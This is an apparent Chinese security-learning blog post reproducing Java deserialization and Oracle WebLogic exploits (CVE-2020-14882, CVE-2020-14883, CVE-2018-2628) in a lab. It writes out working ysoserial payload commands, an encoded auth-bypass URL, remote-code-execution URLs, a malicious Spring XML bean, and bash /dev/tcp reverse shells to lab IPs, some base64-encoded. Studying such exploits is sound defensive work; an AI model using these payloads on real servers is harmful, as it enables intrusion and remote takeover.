🗒️ysoserial初应用和weblogic漏洞原理分析
2023-11-7
| 2024-1-4
字数 2184阅读时长 6 分钟
type
status
date
slug
summary
tags
category
icon
password
😀
weblogic利用与原理学习

ysoserial初应用

ysoserial是一个利用Java反序列化漏洞的工具,它可以生成含有恶意负载的序列化数据。这些数据在被一个有漏洞的Java应用反序列化时,可以导致远程代码执行(RCE)。
 
下载地址:github: ysoserial Y4er
kali下查看16进制或者字节码的命令:hexdump hexeditor

javasec反序列化ObjectInputStream

复现:

启动环境之后进入以下链接,点击run:
notion image
使用工具ysoserial生成payload:
java -jar ysoserial-Y4er.jar CommonsCollections5 "calc" | base64
notion image
将payload拼接进url后面即可弹出计算器:http://127.0.0.1:5555/Deserialize/readObject/vul?base64=

工具命令执行流程

首先补充俩个知识点:“gadget”指的是一些可利用的类。一个“gadget chain”是指多个gadget相互作用形成的序列,攻击者利用这些相互作用在反序列化过程中触发最终的恶意操作。gadget chain涉及到的每个单独的gadget本身可能并不会造成安全问题,但是当它们以特定的方式组合在一起时,就能够触发未授权的代码执行。
  1. 生成序列化负载ysoserial根据指定的gadget链生成恶意序列化对象。
  1. 执行命令:这个序列化对象被设计为在目标Java应用进行反序列化时执行指定的命令(在这个例子中是打开计算器)。
  1. 数据编码:将生成的序列化对象转换成Base64编码,这是因为原始序列化数据可能包含无法直接通过HTTP或其他文本协议发送的非打印字符。
  1. 数据传输:Base64编码的数据可以通过网络发送到目标服务器,如果服务器端的Java应用存在反序列化漏洞,攻击者可以远程执行代码。
    1.  
CommonsCollections5:这指定了ysoserial工具使用的一个特定的gadget链。Apache Commons Collections是Java的一个广泛使用的库,它的某些版本(在此工具指3.1版本)包含可以被利用进行恶意代码执行的类。CommonsCollections5指的是一系列特定的类和方法,这些被组合在一起构成了一个“gadget chain”,可以在Java的反序列化过程中被利用。
 
各种链的版本信息可以通过java -jar ysoserial-Y4er.jar得到。
 
| base64:这是Linux shell中的管道命令,它会将ysoserial输出的二进制数据传输到base64命令。base64命令用于将二进制数据编码成Base64格式,这通常用于将二进制数据转换成可以通过文本形式传输的编码。

weblogic(CVE-2020-14882)

未授权

直接访问以下链接
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal
中间的部分为../的俩次url编码
编码后经过浏览器请求还是一模一样
%252e%252e%252f没有继续编码
notion image

漏洞CVE-2020-14883利用

方法1的漏洞成因

根本问题在于 Oracle WebLogic Server 对 MVEL 表达式的处理不当,导致允许攻击者注入恶意代码并执行远程命令。
 
环境搭建:192.168.245.131

方法1:

利用com.tangosol.coherence.mvel2.sh.ShellSession执行任意命令
反弹shell没测试成功,这条生成success1的语句可以成功
以下代码的解析为:
console.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
  • console.portal:这是WebLogic控制台处理请求的端点。
  • _nfpb=true&_pageLabel=:这些是WebLogic控制台正常工作所需要的参数。
  • handle:这个参数通常用于传递一个处理类的名称。
  • com.tangosol.coherence.mvel2.sh.ShellSession:这是Oracle Coherence的一个类,它可以创建一个MVEL表达式执行的会话,但其中的runtime类的exec方法却不是标准的MVEL表达式,由于服务端处理不当被执行。
 
反弹shell使用以下exp代码:
在命令行输入:python 3.py -u http://192.168.245.131:7001/ -c "bash -i >& /dev/tcp/192.168.245.132/6666 0>&1"
即可在192.168.245.132中反弹shell成功
顺便抓了一下这个exp的包:
 

方法2的漏洞成因:

FileSystemXmlApplicationContext类是spring框架的一部分,用于加载和处理xml配置文件,攻击者构建一个恶意的 XML 配置文件,其中包含特制的 Spring Beans 定义,而Spring Beans 可以包含代码或引用其他类。

方法2:

利用链:com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。
构造一个xml文件放在weblogic服务器可以访问的位置,这里使用的是python -m http.server 8008开启的简易web服务,内含有一个weblogic_xml.xml文件,定义了一个反弹shell
然后构造一个get请求调用我们的远端xml文件解析
http://192.168.245.131:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://172.16.110.155:8008/weblogic_xml.xml")
访问这个链接,即可在192.168.245.132上获得反弹shell
notion image
 
对于此xml文件的解释:
java.lang.ProcessBuilder,这是 Java 核心库中的一个类,用于创建和启动外部进程。
init-method="start" 意味着在 Spring 容器初始化 Bean 时,将调用 start 方法。在这种情况下,start 方法用于启动进程。
<constructor-arg> 标签用于为 java.lang.ProcessBuilder 类的构造函数提供参数值。
  • <list> 标签定义了一个列表,包含了构造函数的参数值。
  • <value>/bin/bash</value> 设置了第一个参数,它是要执行的操作系统命令的解释器(在这里是 Bash)。
  • <value>-c</value> 设置了第二个参数,表示接下来的内容是要执行的命令。
  • <value><![CDATA[bash -i >& /dev/tcp/192.168.245.132/6666 0>&1]]></value> 包含了要执行的命令,其中是一个反向 shell 连接到 192.168.245.132 的 IP 地址和端口 6666
这些构造函数的参数在 ProcessBuilder 实例化时被传递给构造函数,然后 ProcessBuilder 使用它们来创建一个进程,进程的命令是 /bin/bash -c "bash -i >& /dev/tcp/192.168.245.132/6666 0>&1"。这个命令在进程中执行,所以,这些参数值构成了要执行的命令的一部分,而不是直接执行的命令。

漏洞CVE-2018-2628利用

复现过程:
在192.168.245.128的8866端口上开启jrmp服务。
java -cp ysoserial-Y4er.jar ysoserial.exploit.JRMPListener 8866 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0NS4xMzIvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}"
反弹shell地址为192.168.245.132,base64编码 漏洞地址为131:7001
最后启动工具,就会在131上监听成功
notion image
notion image
 
复现原理逻辑:
没研究明白,研究明白再补吧!
java -cp ysoserial-Y4er.jar ysoserial.exploit.JRMPListener 8866 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTU0LjEyNC4xMzIvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}"
  • cp ysoserial-Y4er.jar: 指定类路径(Classpath),让 Java 知道要在 ysoserial-Y4er.jar JAR 文件中查找类。
  • ysoserial.exploit.JRMPListener: 这是要运行的 Java 类,它包含了创建 JRMP 监听器的代码。
  • 8866: 这是 JRMP 监听器将监听的端口号,通常是一个非特权端口(大于1024)。
  • CommonsCollections1: 这是 ysoserial 中的一个漏洞利用模块,它利用了 Apache Commons Collections 库的漏洞。复习一下,ysoserial会根据这个cc链生成含有恶意负载的序列化对象(二进制字节码,方便传输),并在反序列化时执行指定的反弹shell命令。
    • 不同的链只是特定的不同类和方法的组合利用。
 
  • 漏洞复现
  • ssti基础+flask漏洞复现+tplmapJNDI-Injection工具和几个漏洞原理的了解
    Loading...